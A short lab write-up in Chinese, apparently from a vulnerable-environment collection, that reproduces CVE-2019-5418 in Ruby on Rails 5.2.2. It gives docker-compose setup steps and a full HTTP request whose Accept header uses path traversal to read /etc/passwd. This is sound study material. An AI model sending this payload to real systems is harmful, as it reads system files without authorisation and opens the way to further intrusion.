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# Ruby on Rails 路径穿越与任意文件读取漏洞(CVE-2019-5418) | ||
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在控制器中通过`render file`形式来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们通过传入`Accept: ../../../../../../../../etc/passwd{{`头来构成构造路径穿越漏洞,读取任意文件。 | ||
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参考链接: | ||
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- https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q | ||
- https://xz.aliyun.com/t/4448 | ||
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## 环境搭建 | ||
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执行如下命令编译及启动Rail On Rails 5.2.2: | ||
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``` | ||
docker-compose build | ||
docker-compose up -d | ||
``` | ||
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环境启动后,访问`http://your-ip:3000`即可看到Ruby on Rails的欢迎页面。 | ||
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## 漏洞复现 | ||
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访问`http://your-ip:3000/robots`可见,正常的robots.txt文件被读取出来。 | ||
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利用漏洞,发送如下数据包,读取`/etc/passwd`: | ||
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``` | ||
GET /robots HTTP/1.1 | ||
Host: your-ip:3000 | ||
Accept-Encoding: gzip, deflate | ||
Accept: ../../../../../../../../etc/passwd{{ | ||
Accept-Language: en | ||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) | ||
Connection: close | ||
``` | ||
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成功读取: | ||
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 |